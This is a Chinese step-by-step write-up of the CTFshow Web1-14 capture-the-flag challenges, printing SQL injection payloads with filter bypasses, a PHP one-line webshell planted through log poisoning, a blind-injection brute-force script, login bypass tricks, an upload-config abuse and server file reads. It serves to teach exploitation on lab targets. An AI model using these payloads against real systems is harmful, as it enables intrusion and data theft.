首页 教程 Web前端 [CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

文章目录
    • 前言
    • Web1
    • Web2
    • Web3
    • Web4
    • Web5
    • Web6
    • Web7
    • Web8
    • Web9
    • Web10
    • Web11
    • Web12
    • Web13
    • Web14

前言

CTFShow通常是指网络安全领域中的“Capture The Flag”(夺旗赛)展示工具或平台。这是一种用于分享、学习和展示信息安全竞赛中获取的信息、漏洞利用技巧以及解题思路的在线社区或软件。参与者会在比赛中收集“flag”,通常是隐藏在网络环境中的数据或密码形式,然后通过分析、破解等手段找到并提交。CTFShow可以帮助人们了解最新的安全技术和挑战,同时也促进了安全知识和技术的交流。

Web1

1.首先我们启动靶机,打开首页,我们发现上面只有一个where is flag的字样。

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

2.我们查看一下网页的源代码Ctrl+U,发现了疑似flag的东西。

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

3.我们将拿到的这串数进行base64解码,得到flag(ctfshow{d69de809-e78d-4d95-91ef-422375feef9a})。

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

Web2

1.首先,我们打开首页,发现是一个很经典的用户名登录,我们先随便注入一下,看看有什么。

我们来注入一下' or 1=1 order by 1;#,发现是有回显的。

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

逐步增大到4,我们发现没有回显了,所以说明回显位最多为3。

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

2.知道回显位数后,然后我们就可以开始使用联合查询注入了,首先,我们先确定是哪位回显。

' or 1=1 union select 1,2,3;#

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

3.我们确定了是第二位回显后,就可以查数据库了,回显得到数据库名(web2)。

' or 1=1 union select 1,database(),3;#

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

4.得到数据库名后,我们就开始找表名,继续注入,回显得到表名(flag)。

' or 1=1 union select 1,table_name,3 from information_schema.tables where table_schema='web2';#

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

5.分析可知flag应该在flag表中,得到表名后,我们就可以开始查询列名,回显得到列名(flag

' or 1=1 union select 1,(select column_name from information_schema.columns where table_name='flag'),3 ;#

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

6.得到列名后,我们就可以开始查询列中的字段中的内容,也就是flag,注入后回显得到flag(ctfshow{243d3268-cfd3-4421-a2b6-9aecaf75fac1}

' or 1=1 union select 1,(select flag from flag),3 ;#

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

Web3

1.首先我们启动靶机打开首页,发现它给了我们提示($_GET['url'])这告诉我们这题大概率需要构造发包。

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

2.我们打开burpsuite,来进行抓包,我们输入流php://input,我们构造一条ls命令,来看看有哪些文件。

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

我们Forward一下,看看结果,发现了一个ctf_go_go_go index.php文件。

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

2.我们查看一下文件,构造一条cat命令。

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

Forward一下,查看结果,得到flag。

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

Web4

1.首先,我们打开首页,发现这和上题一样啊,我们尝试一下上题的方法,发现并不行。

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

2.思考过后我们想到这台服务器是linux系统,他能用url参数访问,那我们来看一下的日志文件/var/log/nginx/access.log,发现了它是有回显的,回显的参数是我们请求包的User-Agent

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

3.那么思路就有了,我们需要构造请求包,在User-Agent里加一个一句话木马然后用蚁剑去连日志文件。下面我们来改包,添加一句话木马<?php eval($_POSt['777']);?>

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

3.我们接着用蚁剑来连接,这里就不过多介绍了,根据我们的一句话木马我们知道连接密码是777

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

4.我们访问一下文件,发现flag.txt,里面就是我们需要找的flag。

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

Web5

1.启动靶机,打开首页,我们发现这应该是一个代码审计题,它将网站的源码给了出来。

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

我们来分析一下源码。

where is flag? <?php error_reporting(0); ?> <html lang="zh-CN"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" /> <title>ctf.show_web5</title> </head> <body> <center> <h2>ctf.show_web5</h2> <hr> <h3> </center> <?php $flag=""; $v1=$_GET['v1']; $v2=$_GET['v2']; if(isset($v1) && isset($v2)){ if(!ctype_alpha($v1)){ die("v1 error"); } if(!is_numeric($v2)){ die("v2 error"); } if(md5($v1)==md5($v2)){ echo $flag; } }else{ echo "where is flag?"; } ?> </body> </html>

分析一下代码,我们发现有两个参数v1v2,然后下面有判断语句,v1必须为字母,v2必须为数字。如果题目两进行md5加密后是相等的话,就会输出flag,也就是说这里用到了一个md5相等绕过。知道了这个之后就好解决了。

2.我们构造两个数,我们传参输入一串v1=QNKCDZO&v2=240610708,得到flag。

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

Web6

1.启动靶机,打开首页,我们发现这和Web2一样啊,那么是否还能注入呢,答案肯定是不能的,我们尝试注入or 1=1 order by 3;#,发现报错sql inject error

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

2.我们经过不断的尝试,发现问题出在空格被过滤掉了,这时候我们就想到如何代替空格。

可以代替空格的字符:

%0A %0B %0D %A0 /**/

我们来测试一下是否能绕过,发现是可以绕过的,那么就很简单了,我们根据Web2的思路来就好啦!

'/**/or/**/1=1#

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

3.首先,我们先看一下回显位数,发现还是3,那么就开始找库名,注入,得到库名(web2)。

'/**/or/**/1=1/**/union/**/select/**/1,database(),3;#

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

4.得到库名之后,就来找表名,同样的,注入得到表名(flag)。

'/**/or/**/1=1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema='web2';#

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

5.得到表名之后,就可以找里面的列名了,注入得到列名。

'/**/or/**/1=1/**/union/**/select/**/1,(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag'),3;#

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

6.得到列名之后,就去找列里面的值了,也就是flag,注入拿到flag。

'/**/or/**/1=1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3;#

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

Web7

1.启动靶机,进入首页,我们发现这是一个文章列表。

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

点击一个,我们发现其url是带参数的。

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

2.既然是有参数的,我们就来用联合查询来注入,我们先判断一下回显,我们注入发现回显异常。

?id=1 order by 1

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

3.碰到这种情况大概率是因为某些字符被过滤了,我们把空格进行替换,发现回显正常。

?id=1/**/order/**/by/**/1

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

4.解决了这个问题,下面就简单了,我们先找出回显位数,逐一试发现位数为3,然后我们就判断一下回显位置,我们发现2回显了。

?id=1/**/union/**/select/**/1,2,3#

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

5.知道了回显位置之后,我们就可以查数据库名了,注入查得数据库名(web7)。

?id=1/**/union/**/select/**/1,database(),3#

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

6.得到数据库名后,我们就可以来查找表名了,注入发现报错无回显。

?id=1/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='web7'),3#

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

7.我们看看是不是还有什么被过滤了,我们将单引号进行替换,果然不出我们所料,查询到表名(flag)。

?id=1/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="web7"),3#

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

8.查询到表名之后查询列名,注入查询得到列名(``)

?id=1/**/union/**/select/**/1,(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="flag"),3#

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

9.查询到列名之后,我们去查询列里面的值,也就是flag,注入得到flag

?id=1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3#

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

Web8

1.打开首页,我们发现依然这是一个包含文章列表的题目,但是这题过滤了很多东西,所以我们更改一下手注的策略,我们来写一个脚本,来解决这道题,需要将url换成你的url。

import requests url = 'http://69a32bc3-2aa2-4c50-ac06-8d70d42e049b.challenge.ctf.show/index.php?id=-1/**/or/**/' name = '' # 循环45次( 循环次数按照返回的字符串长度自定义) for i in range(1, 45): # 获取当前使用的数据库 payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d' # 获取当前数据库的所有表 # payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d' # 获取flag表的字段 # payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d' # 获取flag表的数据 payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d' count = 0 print('正在获取第 %d 个字符' % i) # 截取SQL查询结果的每个字符, 并判断字符内容 for j in range(31, 128): result = requests.get(url + payload % (i, j)) if 'If' in result.text: name += chr(j) print('数据库名/表名/字段名/数据: %s' % name) break # 如果某个字符不存在,则停止程序 count += 1 if count >= (128 - 31): exit()

2.最后我们运行这个脚本,就可以将flag爆破出来。
[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

Web9

1.首先,我们进行一下目录扫描,收集信息,扫到robots.txt

dirsearch -u https://3ef16222-240a-4f1f-bc67-265f3c7ab2c5.challenge.ctf.show/

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

2.既然扫到了一个robots.txt,我们就去看看它里面有什么。

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

3.在robots.txt里面有一个index.phps,我们将它下载下来做一波代码审计,看看注入点在哪。

<?php $flag=""; $password=$_POST['password']; if(strlen($password)>10){ die("password error"); } $sql="select * from user where username ='admin' and password ='".md5($password,true)."'"; $result=mysqli_query($con,$sql); if(mysqli_num_rows($result)>0){ while($row=mysqli_fetch_assoc($result)){ echo "登陆成功<br>"; echo $flag; } } ?>

这里的注入点在于md5($password,true),所以说它是会将密码转换的,这时我们就可以设计一个密码来绕过,这里使用绕过密码ffifdyop

4.输入密码ffifdyop进行绕过,登录成功,得到flag!

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

Web10

1.启动靶机,打开首页。我们发现还是管理员登录,但是不同的是多了一个取消按钮,点击取消,居然把源码下载了下来。

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

点击取消:

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

2.那么接下来,我们就可以来做一波代码审计,看看注入点了。

<?php $flag=""; function replaceSpecialChar($strParam){ $regex = "/(select|from|where|join|sleep|and|s|union|,)/i"; return preg_replace($regex,"",$strParam); } if (!$con) { die('Could not connect: ' . mysqli_error()); } if(strlen($username)!=strlen(replaceSpecialChar($username))){ die("sql inject error"); } if(strlen($password)!=strlen(replaceSpecialChar($password))){ die("sql inject error"); } $sql="select * from user where username = '$username'"; $result=mysqli_query($con,$sql); if(mysqli_num_rows($result)>0){ while($row=mysqli_fetch_assoc($result)){ if($password==$row['password']){ echo "登陆成功<br>"; echo $flag; } } } ?>

我们发现很多关键字 $regex = "/(select|from|where|join|sleep|and|s|union|,)/i";都被过滤掉了,那么常规注入就不可行了,而且账户密码都进行了过滤,那么我们啥也不知道,那么怎么办呢?可以使用with rollup使密码为空,然后进行绕过。

'or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#

3.注入登录,登录成功得到flag。

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

Web11

1.打开靶机,进入首页,我们发现源码已经在上面了。

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

<?php function replaceSpecialChar($strParam){ $regex = "/(select|from|where|join|sleep|and|s|union|,)/i"; return preg_replace($regex,"",$strParam); } if(strlen($password)!=strlen(replaceSpecialChar($password))){ die("sql inject error"); } if($password==$_SESSION['password']){ echo $flag; }else{ echo "error"; } ?>

进行一下代码审计,这道题注入点应该在这一条if($password==$_SESSION['password']),正好我们看首页,也只有一条密码登录,所以我们只需要把Session设为空就能登录绕过。

2.我们使用burpsuite来抓一下包。

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

3.我们将Cookie给它清掉,这样就没有Session了,理论上我们就可以绕过了。

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

4.改完包我们Forward一下,果然我们绕过了,得到了flag。

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

Web12

1.启动靶机,打开首页,发现啥也没有,我们Ctrl+U看看网页源码里有什么。

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

打开发现有一个?cmd=

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

我们输入命令?cmd=print_r(scandir('./'));来查看一下目录,发现了php文件。

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

2.既然找到了文件,我们就来查看一下这个php文件,发现里面放的是flag。

?cmd=show_source('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');

[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

Web13

1.首先,我们启动靶机,打开首页,发现这是一个文件上传页面。
[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

2.根据我们的经验,我们下载一下备份文件进行一下代码审计upload.php.bak,在url中加入即可。
[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

3.我们来对源码进行一下代码审计,我们发现$size > 24规定文件大小要大于24;strlen($filename)>9文件名长度要大于9;strlen($ext_suffix)>3后缀名的长度要大于3;preg_match("/php/i",$ext_suffix)后缀名要包含php;preg_match("/php/i",$filename)文件名包含php。

<?php header("content-type:text/html;charset=utf-8"); $filename = $_FILES['file']['name']; $temp_name = $_FILES['file']['tmp_name']; $size = $_FILES['file']['size']; $error = $_FILES['file']['error']; $arr = pathinfo($filename); $ext_suffix = $arr['extension']; if ($size > 24){ die("error file zise"); } if (strlen($filename)>9){ die("error file name"); } if(strlen($ext_suffix)>3){ die("error suffix"); } if(preg_match("/php/i",$ext_suffix)){ die("error suffix"); } if(preg_match("/php/i"),$filename)){ die("error file name"); } if (move_uploaded_file($temp_name, './'.$filename)){ echo "文件上传成功!"; }else{ echo "文件上传失败!"; } ?>

4.那么知道了这些条件我们就要来构造文件了。首先我们来写一个配置文件.user.ini
[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

将其上传。
[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

5.接着我们来写一个1.png
[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

将其上传。
[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

6.上传之后我们来看一下有哪些文件/index.php?1=system("ls");
[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

7.我们来查看一下可能会藏有flag的文件/index.php?1=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');发现果然在里面。
[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

Web14

1.首先我们启动靶机,我们发现首页是一个php代码,我们可以来进行一下代码审计,会发现提示是在url中加参数c,并且对参数进行了一些限制。
[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

<?php include("secret.php"); if(isset($_GET['c'])){ $c = intval($_GET['c']); sleep($c); switch ($c) { case 1: echo '$url'; break; case 2: echo '@A@'; break; case 555555: echo $url; case 44444: echo "@A@"; break; case 3333: echo $url; break; case 222: echo '@A@'; break; case 222: echo '@A@'; break; case 3333: echo $url; break; case 44444: echo '@A@'; case 555555: echo $url; break; case 3: echo '@A@'; case 6000000: echo "$url"; case 1: echo '@A@'; break; } } highlight_file(__FILE__);

2.这个时候我们就来测试一下,?c=3,发现爆出了一个php,访问一下看看。
[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

3.我们访问一下here_1s_your_f1ag.php发现这是一个查询框并且带有弹窗回显,那么很明显说明这里是一个sql注入漏洞。
[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

4.既然是sql注入漏洞,那么思路就很简单了,首先我们来测试列数,当我们输入1 order by 1时我们发现没有弹窗,这里有可能是某些字符被过滤掉了,我们将空格换为/**/,输入1/**/order/**/by/**/1发现有弹窗有回显,但是当我们输入1/**/order/**/by/**/1的时候我们发现就有弹窗但无回显了,说明列数为1。
[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

5.知道了列数为1之后,我们就来去数据库中找了,首先我们先来找到数据库名。-1/**/union/**/select/**/database(),发现数据库名为web。
[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

6.知道了数据库名我们就要找表名和列名了,这里就不多赘述了,但是当我们找到列名的时候我们发现flag不在这里!?query=0/**/union/**/select/**/group_concat(1,2,3)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/content)x同时它给了我们一个提示就是在secret中。
[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

7.我们来到secret.php中,发现并看不了,我们想到是否能用load_file()来查看呢,url中输入?query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php'),果然我们Ctrl+U一下发现了端倪。
[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

8.所以real_flag_is_here。我们再次输入?query=-1/**/union/**/select/**/load_file('/real_flag_is_here'),然后再看一下,成功找到了flag。
[CTF夺旗赛] CTFshow Web1-14 详细过程保姆级教程~

评论(0)条

提示:请勿发布广告垃圾评论,否则封号处理!!

    猜你喜欢
    【MySQL】用户管理

    【MySQL】用户管理

     服务器/数据库  2个月前  2.15k

    我们推荐使用普通用户对数据的访问。而root作为管理员可以对普通用户对应的权限进行设置和管理。如给张三和李四这样的普通用户权限设定后。就只能操作给你权限的库了。

    Cursor Rules 让开发效率变成10倍速

    Cursor Rules 让开发效率变成10倍速

     服务器/数据库  2个月前  1.21k

    在AI与编程的交汇点上,awesome-cursorrules项目犹如一座灯塔,指引着开发者们驶向更高效、更智能的编程未来。无论你是经验丰富的老手,还是刚入行的新人,这个项目都能为你的编程之旅增添一抹亮色。这些规则文件就像是你私人定制的AI助手,能够根据你的项目需求和个人偏好,精确地调教AI的行为。突然间,你会发现AI不仅能理解Next.js的最佳实践,还能自动应用TypeScript的类型检查,甚至主动提供Tailwind CSS的类名建议。探索新的应用场景,推动AI辅助编程的边界。

    探索Django 5: 从零开始,打造你的第一个Web应用

    探索Django 5: 从零开始,打造你的第一个Web应用

     服务器/数据库  2个月前  1.12k

    Django 是一个开放源代码的 Web 应用程序框架,由 Python 写成。它遵循 MVT(Model-View-Template)的设计模式,旨在帮助开发者高效地构建复杂且功能丰富的 Web 应用程序。随着每个版本的升级,Django 不断演变,提供更多功能和改进,让开发变得更加便捷。《Django 5 Web应用开发实战》集Django架站基础、项目实践、开发经验于一体,是一本从零基础到精通Django Web企业级开发技术的实战指南《Django 5 Web应用开发实战》内容以。

    MySQL 的mysql_secure_installation安全脚本执行过程介绍

    MySQL 的mysql_secure_installation安全脚本执行过程介绍

     服务器/数据库  2个月前  1.08k

    mysql_secure_installation 是 MySQL 提供的一个安全脚本,用于提高数据库服务器的安全性

    【MySQL基础篇】概述及SQL指令:DDL及DML

    【MySQL基础篇】概述及SQL指令:DDL及DML

     服务器/数据库  2个月前  482

    数据库是长期存储在计算机内的、有组织的、可共享的、统一管理的大量数据的集合。数据库不仅仅是数据的简单堆积,而是遵循一定的规则和模式进行组织和管理的。数据库中的数据可以包括文本、数字、图像、音频等各种类型的信息。

    Redis中的哨兵(Sentinel)

    Redis中的哨兵(Sentinel)

     服务器/数据库  2个月前  308

    ​ 上篇文章我们讲述了Redis中的主从复制(Redis分布式系统中的主从复制-CSDN博客),本篇文章针对主从复制中的问题引出Redis中的哨兵,希望本篇文章会对你有所帮助。